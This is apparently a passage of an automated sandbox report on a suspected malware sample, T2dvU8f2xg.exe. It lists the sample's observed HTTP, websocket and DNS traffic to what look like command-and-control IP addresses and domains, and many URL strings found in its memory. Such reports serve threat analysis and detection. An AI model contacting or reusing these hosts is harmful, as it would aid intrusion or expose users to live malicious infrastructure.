Source: global traffic	HTTP traffic detected: GET /?a=w64&h=107.148.62.100&t=ws_&p=8084 HTTP/1.1Host: 107.148.62.100:8084Data Raw: 00 00 00 00 00 00 00 26 9a 3a b4 fd 7f 00 00 00 00 93 e4 f7 7f 00 00 02 00 00 00 fd 7f 00 00 00 00 00 00 00 00 00 00 af f2 10 b2 fd 7f 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 45 45 3e b4 fd 7f 00 00 00 00 e1 c4 8c 00 00 00 02 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 b0 33 d3 e4 f7 7f 00 00 a0 32 a7 69 d8 01 00 00 ff 9a 3a b4 fd 7f 00 00 48 a0 10 e5 f7 7f 00 00 00 00 93 e4 f7 7f 00 00 02 00 00 00 fd 7f 00 00 a0 32 a7 69 d8 01 00 00 00 00 00 00 00 00 00 00 85 03 fe 7f 00 00 00 00 15 00 00 00 00 00 00 00 d3 e6 3c b4 fd 7f 00 00 00 12 1b b1 fd 7f 00 00 b4 d9 3e b4 fd 7f 00 00 00 00 00 00 00 00 00 00 00 f0 ff c4 8c 00 00 00 00 00 00 00 00 00 00 00 6f df 3b b4 fd 7f 00 00 00 12 1b b1 fd 7f 00 00 55 79 3a b4 fd 7f 00 00 00 00 a7 69 d8 01 00 00 e8 c9 a9 69 d8 01 00 00 00 f0 ff c4 8c 00 00 00 00 12 1b b1 fd 7f 00 00 00 93 a9 69 d8 01 00 00 ad 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 c9 a9 69 d8 01 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 e0 c9 a9 69 d8 01 00 00 67 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 57 02 00 00 fd 7f 00 00 50 01 a7 69 d8 01 00 00 00 00 00 00 00 00 00 00 2d 00 00 00 00 00 00 00 ff 03 00 00 00 00 00 00 e0 c9 a9 69 d8 01 00 00 00 00 00 00 00 00 00 00 ad 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 1d 79 3a b4 fd 7f 00 00 3d 79 3a b4 fd 7f 00 00 80 00 00 00 00 00 00 00 00 03 aa 69 d8 01 00 00 ad 00 00 00 00 00 00 00 94 bb a7 69 d8 01 00 00 50 01 a7 69 d8 01 00 00 01 00 00 00 00 00 00 00 e7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 bb a7 69 d8 01 00 00 ad 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0b b9 3b b4 fd 7f 00 00 10 00 06 00 00 00 00 00 a0 03 00 00 00 00 00 00 10 e5 a7 69 d8 01 00 00 00 00 00 00 00 00 00 00 d7 02 00 d5 fd 7f 00 00 b4 b3 a7 69 d8 01 00 00 00 00 00 00 00 00 00 00 d7 02 00 d5 d8 01 00 00 00 00 00 00 00 00 00 00 02 00 00 02 d8 01 00 00 c4 02 d8 69 d8 01 00 00 68 4b 40 b4 fd 7f 00 00 90 00 00 00 00 00 00 00 d7 02 00 d5 d8 01 00 00 00 00 00 00 00 00 00 00 d7 02 00 d5 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 02 00 00 00 00 88 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 a7 69 d8 01 00 00 f9 f6 1f c6 8c 00 00 00 08 00 30 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 03 00 00 00 00 00 00 90 03 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 a7 69 d8 01 00 00 3a 00 00 00 00 00 00 00 4d b4 3b b4 fd 7f 00 00 00 00 a7 69 d8 01 00 00 0a 00 30 00 00 00 00 00 90 03 00 00 00 00 00 00 64 43 3e b4 fd 7f 00 00 00 05 a7 69 d8 01 00 00 b4 f6 1f c6 8c 00 00 00 00 00 00 00 03 00 00 00 ee 44 3e b4 fd 7f 00 00 20 2b 3e b4 fd 7f 00 00 50 0b a7 69 d8 01 00 00 00 33 aa 69 d8 01 00 00 a6 ff 3a b4 fd 7f 00 00 00 33 aa 69 d8 01 00 00 69 04 e5 2b ff 44 00 00 Data Ascii: &:
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 107.148.62.100:8084Upgrade: websocketConnection: UpgradeSec-WebSocket-Version: 13Sec-WebSocket-Key: YZmaWYFLFkkxnSe9G1KL+w==
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 107.148.62.100:8084Upgrade: websocketConnection: UpgradeSec-WebSocket-Version: 13Sec-WebSocket-Key: k9momah9+dgWSbK2PyPqdg==
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 107.148.62.100:8084Upgrade: websocketConnection: UpgradeSec-WebSocket-Version: 13Sec-WebSocket-Key: y7FDFWpXfMu14TOa4bn1dg==

Source: global traffic	DNS traffic detected: DNS query: scrt1.nyazz.com
Source: global traffic	DNS traffic detected: DNS query: ssh.0523qyfw.com
Source: global traffic	DNS traffic detected: DNS query: www.61xdm.com

Source: unknown

HTTP traffic detected: POST /count HTTP/1.1Host: 154.19.200.133:8087Accept: */*Content-Length: 0Content-Type: application/x-www-form-urlencoded

Source: T2dvU8f2xg.exe, 00000000.00000000.2199767679.0000000001425000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://127.0.0.1:5800
Source: T2dvU8f2xg.exe, T2dvU8f2xg.exe, 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://154.19.200.133:8087
Source: T2dvU8f2xg.exe, T2dvU8f2xg.exe, 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://154.19.200.133:8087/count
Source: T2dvU8f2xg.exe, 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://154.19.200.133:8087/countExportFDSAASDunctionExportFASDADSunction
Source: T2dvU8f2xg.exe, 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://154.19.200.133:80871Y%
Source: T2dvU8f2xg.exe, 00000000.00000002.4143689022.000000000B390000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bdsatish.in/lang/t
Source: T2dvU8f2xg.exe, 00000000.00000002.4086544758.0000000005E40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://bdsatish.in/lang/tel-kagapa.png
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2258859710.00000000099D8000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4086544758.0000000005E40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: T2dvU8f2xg.exe, 00000000.00000002.4098609578.0000000008579000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2531410977.00000000FFCB7000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2218711056.0000000008530000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2270401553.000000000A1F7000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2627579283.00000000FFCB9000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219901140.0000000009009000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219060773.0000000007E6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2531410977.00000000FFCB7000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2218711056.0000000008530000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2270401553.000000000A1F7000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2627579283.00000000FFCB9000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219901140.0000000009009000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219060773.0000000007E6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODORSAExtendedValidationCodeSigningCA.crl0
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2258859710.00000000099D8000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4086544758.0000000005E40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2258859710.00000000099D8000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4086544758.0000000005E40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2258859710.00000000099D8000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4086544758.0000000005E40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2531410977.00000000FFCB7000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2218711056.0000000008530000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2270401553.000000000A1F7000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2627579283.00000000FFCB9000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219901140.0000000009009000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219060773.0000000007E6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2258859710.00000000099D8000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4086544758.0000000005E40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2258859710.00000000099D8000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4086544758.0000000005E40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2258859710.00000000099D8000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4086544758.0000000005E40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2531410977.00000000FFCB7000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2218711056.0000000008530000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2270401553.000000000A1F7000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2627579283.00000000FFCB9000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219901140.0000000009009000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219060773.0000000007E6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: T2dvU8f2xg.exe, 00000000.00000000.2199767679.0000000001425000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://dejavu-fonts.org
Source: T2dvU8f2xg.exe, 00000000.00000003.2468450629.00000000FDEB9000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2478505354.00000000FC13A000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2376415685.000000000798A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mingw-w64.sourceforge.net/X
Source: T2dvU8f2xg.exe, 00000000.00000002.4087988844.0000000008057000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://mobaxterm.mobatek.net
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2258859710.00000000099D8000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4086544758.0000000005E40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2531410977.00000000FFCB7000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2218711056.0000000008530000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2270401553.000000000A1F7000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2627579283.00000000FFCB9000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219901140.0000000009009000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219060773.0000000007E6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2531410977.00000000FFCB7000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2218711056.0000000008530000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2270401553.000000000A1F7000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2627579283.00000000FFCB9000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219901140.0000000009009000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219060773.0000000007E6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0D
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2258859710.00000000099D8000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4086544758.0000000005E40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2531410977.00000000FFCB7000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2218711056.0000000008530000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2270401553.000000000A1F7000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2627579283.00000000FFCB9000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219901140.0000000009009000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219060773.0000000007E6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2258859710.00000000099D8000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4086544758.0000000005E40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0D
Source: T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://scripts.sil.org/OFL
Source: T2dvU8f2xg.exe, 00000000.00000002.4143689022.000000000B390000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.baraha.com/help/K
Source: T2dvU8f2xg.exe, 00000000.00000002.4086544758.0000000005E40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.baraha.com/help/Keyboards/tel_brhkbd.htm
Source: T2dvU8f2xg.exe, 00000000.00000000.2199767679.0000000001425000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.busybox.net
Source: T2dvU8f2xg.exe, 00000000.00000000.2199767679.0000000001425000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.cygwin.com
Source: T2dvU8f2xg.exe, 00000000.00000002.4076442352.000000000407C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.ietf.org/rfc/rfc3075.txt
Source: T2dvU8f2xg.exe, 00000000.00000002.4076442352.000000000407C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.ietf.org/rfc/rfc3275.txt
Source: T2dvU8f2xg.exe, 00000000.00000000.2199767679.0000000001425000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.mesa3d.org
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2277945932.0000000009BA1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2269444590.000000000A904000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.mobatek.net/post/how-to-keep-X11-display-after-su-or-sudo/
Source: T2dvU8f2xg.exe, 00000000.00000003.2679350990.000000000E246000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bugs.freedesktop.org/enter_bug.cgi?product=Mesa
Source: T2dvU8f2xg.exe, T2dvU8f2xg.exe, 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: T2dvU8f2xg.exe	String found in binary or memory: https://curl.se/docs/alt-svc.html#
Source: T2dvU8f2xg.exe, T2dvU8f2xg.exe, 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: T2dvU8f2xg.exe	String found in binary or memory: https://curl.se/docs/hsts.html#
Source: T2dvU8f2xg.exe, T2dvU8f2xg.exe, 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: T2dvU8f2xg.exe	String found in binary or memory: https://curl.se/docs/http-cookies.html#
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dejavu-fonts.github.io/)
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dejavu-fonts.github.io/License.html)
